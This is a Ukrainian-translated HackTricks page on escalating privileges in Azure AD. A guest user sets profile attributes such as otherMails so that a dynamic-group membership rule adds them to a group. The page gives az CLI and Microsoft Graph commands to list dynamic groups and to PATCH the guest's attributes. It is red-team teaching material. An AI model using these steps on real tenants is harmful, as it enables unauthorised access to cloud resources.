Az - Динамічні Групи Privesc

Reading time: 3 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Основна Інформація

Динамічні групи - це групи, які мають набір правил, і всі користувачі або пристрої, що відповідають цим правилам, додаються до групи. Кожного разу, коли атрибут користувача або пристрою змінюється, динамічні правила перевіряються знову. І коли створюється нове правило, всі пристрої та користувачі перевіряються.

Динамічним групам можуть бути призначені ролі Azure RBAC, але неможливо додати ролі AzureAD до динамічних груп.

Ця функція вимагає ліцензії Azure AD premium P1.

Privesc

Зверніть увагу, що за замовчуванням будь-який користувач може запрошувати гостей в Azure AD, тому, якщо правило динамічної групи надає дозволи користувачам на основі атрибутів, які можуть бути встановлені у нового гостя, можливо створити гостя з цими атрибутами та ескалювати привілеї. Також можливо, щоб гість керував своїм власним профілем і змінював ці атрибути.

Отримати групи, які дозволяють динамічне членство: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Приклад

  • Приклад правила: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • Опис правила: Будь-який гість з вторинною електронною поштою, що містить рядок 'security', буде доданий до групи

Для електронної пошти користувача-гостя, прийміть запрошення та перевірте поточні налаштування цього користувача в https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
На жаль, сторінка не дозволяє змінювати значення атрибутів, тому нам потрібно використовувати API:

bash
# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks